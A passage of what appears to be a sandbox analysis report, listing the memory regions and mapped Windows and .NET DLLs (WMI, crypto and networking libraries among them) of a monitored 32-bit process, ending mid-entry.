"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\eb4cca4f06a15158c3f7e2c56516729b\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\eb4cca4f06a15158c3f7e2c56516729b\\system.core.ni.dll") Region: id = 1750 start_va = 0xdc0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dc0000" filename = "" Region: id = 1751 start_va = 0x6cb20000 end_va = 0x6cb9ffff monitored = 1 entry_point = 0x6cb21180 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1752 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1753 start_va = 0xdd0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 1754 start_va = 0x6c990000 end_va = 0x6cb1efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\1d52bd4ac5e0a6422058a5d62c9f6d9d\\system.drawing.ni.dll") Region: id = 1755 start_va = 0x6bd20000 end_va = 0x6c986fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\fb06ad4bc55b9c3ca68a3f9259d826cd\\system.windows.forms.ni.dll") Region: id = 1756 start_va = 0x4970000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 1757 start_va = 0xde0000 end_va = 0xde0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1758 start_va = 0x1e0000 end_va = 0x1e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1759 start_va = 0xde0000 end_va = 0xdeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 1760 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1761 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1762 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 1763 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 1764 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 1765 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1766 start_va = 0xde0000 end_va = 0xde0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000de0000" filename = "" Region: id = 1767 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 1768 start_va = 0x71250000 end_va = 0x71262fff monitored = 0 entry_point = 0x71259950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1769 start_va = 0x70060000 end_va = 0x7008efff monitored = 0 entry_point = 0x700795e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1770 start_va = 0x71590000 end_va = 0x715aafff monitored = 0 entry_point = 0x71599050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1771 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 1772 start_va = 0x6bc00000 end_va = 0x6bd1cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\98d3949f9ba1a384939805aa5e47e933\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\98d3949f9ba1a384939805aa5e47e933\\system.management.ni.dll") Region: id = 1773 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 1774 start_va = 0xba0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 1775 start_va = 0x4970000 end_va = 0x4a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 1776 start_va = 0x4af0000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 1777 start_va = 0x7e790000 end_va = 0x7e7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007e790000" filename = "" Region: id = 1778 start_va = 0x7e780000 end_va = 0x7e78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007e780000" filename = "" Region: id = 1779 start_va = 0xdf0000 end_va = 0xdf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000df0000" filename = "" Region: id = 1780 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1781 start_va = 0xe00000 end_va = 0xe00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e00000" filename = "" Region: id = 1782 start_va = 0x6bbe0000 end_va = 0x6bbfbfff monitored = 0 entry_point = 0x6bbeaa90 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 1783 start_va = 0x6bb70000 end_va = 0x6bbd6fff monitored = 0 entry_point = 0x6bb8b610 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 1784 start_va = 0x74db0000 end_va = 0x74e0efff monitored = 0 entry_point = 0x74db4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1785 start_va = 0xbe0000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1786 start_va = 0xc20000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 1787 start_va = 0xc60000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 1788 start_va = 0xfe0000 end_va = 0x101ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 1789 start_va = 0x4b00000 end_va = 0x4bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 1790 start_va = 0x4c00000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 1791 start_va = 0x4d00000 end_va = 0x4dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1792 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 1793 start_va = 0x6bb60000 end_va = 0x6bb6cfff monitored = 0 entry_point = 0x6bb63520 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 1794 start_va = 0x6bb50000 end_va = 0x6bb5afff monitored = 1 entry_point = 0x6bb541f0 region_type = mapped_file name = "wminet_utils.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\WMINet_Utils.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\wminet_utils.dll") Region: id = 1795 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1796 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1797 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1798 start_va = 0x6bb30000 end_va = 0x6bb40fff monitored = 0 entry_point = 0x6bb38fa0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 1799 start_va = 0x6ba70000 end_va = 0x6bb2efff monitored = 0 entry_point = 0x6baa1e80 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 1800 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1801 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1802 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 1803 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1804 start_va = 0x1020000 end_va = 0x102ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 1805 start_va = 0x1030000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001030000" filename = "" Region: id = 1806 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1807 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1809 start_va = 0x6b7c0000 end_va = 0x6ba6efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runteb92aa12#\\9b0d0cb232dec8e57df49678532cb923\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runteb92aa12#\\9b0d0cb232dec8e57df49678532cb923\\system.runtime.serialization.ni.dll") Region: id = 1810 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1811 start_va = 0x6b7a0000 end_va = 0x6b7bdfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "smdiagnostics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\SMDiagnostics\\cde471ea4f02c36c73581ed5681e463e\\SMDiagnostics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\smdiagnostics\\cde471ea4f02c36c73581ed5681e463e\\smdiagnostics.ni.dll") Region: id = 1812 start_va = 0x6b6a0000 end_va = 0x6b790fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\fe4b221b4109f0c78f57a792500699b5\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\fe4b221b4109f0c78f57a792500699b5\\system.configuration.ni.dll") Region: id = 1813 start_va = 0x6af80000 end_va = 0x6b69dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\4fbda26d781323081b45526da6e87b35\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\4fbda26d781323081b45526da6e87b35\\system.xml.ni.dll") Region: id = 1814 start_va = 0x6aed0000 end_va = 0x6af74fff monitored = 0 entry_point = 0x6aeeac50 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1815 start_va = 0x6aea0000 end_va = 0x6aec2fff monitored = 0 entry_point = 0x6aea5570 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1816 start_va = 0x6ae90000 end_va = 0x6ae9ffff monitored = 0 entry_point = 0x6ae93820 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1817 start_va = 0xfc0000 end_va = 0xfc3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 1818 start_va = 0x71450000 end_va = 0x7149efff monitored = 0 entry_point = 0x7145d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1819 start_va = 0x2490000 end_va = 0x256ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1820 start_va = 0x2580000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 1821 start_va = 0x2590000 end_va = 0x25cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 1822 start_va = 0x4f00000 end_va = 0x4ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 1823 start_va = 0x714a0000 end_va = 0x7153afff monitored = 0 entry_point = 0x714df7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1824 start_va = 0x71570000 end_va = 0x71581fff monitored = 0 entry_point = 0x71574510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 1825 start_va = 0x71540000 end_va = 0x7156efff monitored = 0 entry_point = 0x7154bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1826 start_va = 0x747b0000 end_va = 0x747b6fff monitored = 0 entry_point = 0x747b1e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1827 start_va = 0x6ae70000 end_va = 0x6ae82fff monitored = 0 entry_point = 0x6ae725d0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1828 start_va = 0x6ae50000 end_va = 0x6ae63fff monitored = 0 entry_point = 0x6ae53c10 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1829 start_va = 0x1020000 end_va = 0x1020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1830 start_va = 0x1020000 end_va = 0x1028fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1831 start_va = 0x1020000 end_va = 0x1020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1832 start_va = 0x1020000 end_va = 0x1028fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1833 start_va = 0x1020000 end_va = 0x1020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1834 start_va = 0x1020000 end_va = 0x1028fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1835 start_va = 0x25d0000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 1836 start_va = 0x5000000 end_va = 0x50fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005000000" filename = "" Region: id = 1837 start_va = 0x1020000 end_va = 0x1030fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001020000" filename = "" Region: id = 1838 start_va = 0x70a80000 end_va = 0x70b03fff monitored = 0 entry_point = 0x70aa6530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1839 start_va = 0x71440000 end_va = 0x71447fff monitored = 0 entry_point = 0x71441fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1840 start_va = 0x70630000 end_va = 0x70637fff monitored = 0 entry_point = 0x70631920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1841 start_va = 0x70640000 end_va = 0x70686fff monitored = 0 entry_point = 0x706558d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1842 start_va = 0x6ad80000 end_va = 0x6ae42fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.servicemodel.internals.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Servd1dec626#\\1348a5d04b41c614e48fe5fdb88d1cfa\\System.ServiceModel.Internals.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.servd1dec626#\\1348a5d04b41c614e48fe5fdb88d1cfa\\system.servicemodel.internals.ni.dll") Region: id = 1843 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1844 start_va = 0x1060000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 1845 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 1846 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 1847 start_va = 0x2610000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 1848 start_va = 0x4a70000 end_va = 0x4a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a70000" filename = "" Region: id = 1849 start_va = 0x4a80000 end_va = 0x4abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 1850 start_va = 0x5100000 end_va = 0x51fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 1965 start_va = 0x5200000 end_va = 0x523ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 1966 start_va = 0x5240000 end_va = 0x533ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005240000" filename = "" Region: id = 1967 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1968 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1969 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1970 start_va = 0x75a40000 end_va = 0x75a45fff monitored = 0 entry_point = 0x75a41460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2206 start_va = 0x1060000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2207 start_va = 0x5340000 end_va = 0x537ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005340000" filename = "" Region: id = 2208 start_va = 0x5380000 end_va = 0x53bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005380000" filename = "" Region: id = 2209 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2210 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2211 start_va = 0x53c0000 end_va = 0x55cafff monitored = 0 entry_point = 0x546b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 2212 start_va = 0x72d80000 end_va = 0x72f8efff monitored = 0 entry_point = 0x72e2b0a0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_d3c2e4e965da4528\\comctl32.dll") Region: id = 2213 start_va = 0x1070000 end_va = 0x1070fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 2214 start_va = 0x1f0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 2215 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2216 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2217 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2218 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2219 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2220 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2221 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2222 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2223 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2224 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2225 start_va = 0x1060000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2226 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2227 start_va = 0x1050000 end_va = 0x105ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 2228 start_va = 0x1060000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Region: id = 2229 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2230 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2231 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2232 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2233 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2234 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2235 start_va = 0x1070000 end_va = 0x107ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 2236 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2268 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2269 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2270 start_va = 0x2570000 end_va = 0x257ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 2276 start_va = 0x2610000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 2769 start_va = 0x53c0000 end_va = 0x53fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053c0000" filename = "" Region: id = 2770 start_va = 0x5400000 end_va = 0x54fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005400000" filename = "" Region: id = 2771 start_va = 0x5500000 end_va = 0x553ffff monitored = 1 entry_point = 0x0 region_type = private name = 